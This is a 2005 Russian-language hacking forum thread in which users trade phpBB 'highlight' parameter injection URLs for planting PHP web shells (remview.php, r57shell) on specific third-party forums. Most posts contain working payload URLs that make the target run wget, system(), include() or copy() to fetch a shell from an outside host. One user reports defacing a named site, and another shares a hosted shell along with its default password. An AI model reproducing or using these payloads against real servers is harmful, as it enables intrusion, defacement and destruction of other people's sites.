Вопрос про заливку шелла через уязвимость в highligh

Discussion in 'Песочница' started by rsha1988, 12 Jan 2005.

  1. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Есть форум http://bomg.ru/forum/
    Пробывал загрузить в него remview.php этими способами:

    viewtopic.php?p=1&highlight=%2527.$poster=%60$ls%60.%2527&ls=wget%20http://........../remview.php
    viewtopic.php?p=3906&highlight=%2527.$poster=`wget%09http://.........../remview.php`.%2527
    viewtopic.php?=http://............./remview.php%00&t=1&highlight=%2527.include($_GET[44]).%2527

    и не один из них не подошол, а какие еще способы есть?
     
  2. frisco_virus

    frisco_virus New Member

    Joined:
    6 Jan 2005
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    viewtopic.php?xxx=wget%20http://supershish.narod.ru/remview.php&p=12&highlight=%2527.system($_GET[xxx]).include%2527
     
  3. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    viewtopic.php?10=wget%20http://.........ru/remview.php&p=12&highlight=%2527.system($_GET[/images/avatars/]).include%2527
    Не так тоже не хочет!
     
  4. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
  5. Red

    Red New Member

    Joined:
    12 Jan 2005
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    такой баг мной был так же замечен на других хостах. юзай тогда проще:
    http://rredial.narod.ru/r57shell.php
    тока пароль в теле проги поменяй (сейчас он и усер и пас 1234)
     
  6. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    спасибо, похоже работает!
    Только не как не пойму как ей пользоваться?
     
  7. SHiTS

    SHiTS КУЛХАЦКЕР

    Joined:
    11 Dec 2004
    Messages:
    186
    Likes Received:
    15
    Reputations:
    0
    а че это ваще такое?
     
  8. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    не стал мудиться :D
    Достало меня это все!
    Просто залил html страницу!
    http://bomg.ru/forum/
     
  9. SHiTS

    SHiTS КУЛХАЦКЕР

    Joined:
    11 Dec 2004
    Messages:
    186
    Likes Received:
    15
    Reputations:
    0
    МАЛАДЕЦ!!!
     
  10. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    блин, уже страницу удалилит!!!!!!!!
     
  11. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    А есть какой нибуть еще шел???
     
  12. Xalegi

    Xalegi Elder - Старейшина

    Joined:
    24 Nov 2004
    Messages:
    109
    Likes Received:
    4
    Reputations:
    6
    а оно надо??? remview.php суперская вещь =)
     
  13. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Не спорю но он не коректно работает!
     
  14. frisco_virus

    frisco_virus New Member

    Joined:
    6 Jan 2005
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    rsha a ti kakim sposobom zalil tuda shell ya vot dosehpor nikak nemogu zalit shell na http://obshaga.com
     
  15. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Заливал так:
    /viewtopic.php?a=http://salogta.narod.ru/remview.php&b=remview.php&t=1&highlight=%2527%252ecopy($_GET[a],$_GET)%252e%2527
     
  16. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Ну а всетаки, какой нибуть другой шел есть?
     
  17. Xalegi

    Xalegi Elder - Старейшина

    Joined:
    24 Nov 2004
    Messages:
    109
    Likes Received:
    4
    Reputations:
    6
    дык... вроде заливать нужно какой-либо командой =) wget к примеру... или я не прав?
     
  18. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    Ну не знаю, у меня так получилось только шелл почти не фига не работает! :(
     
  19. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    А ака нибуть папку можно удалить???
     
  20. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    http://kneu.net.ua/forum/viewtopic.php?p=45&xxx=http://salogta.narod.ru/remview.php&highlight=%2527.include($_GET[xxx]).include%2527 - посмотрите че за фигня получаеться... эт че такое блин? :D
     
Loading...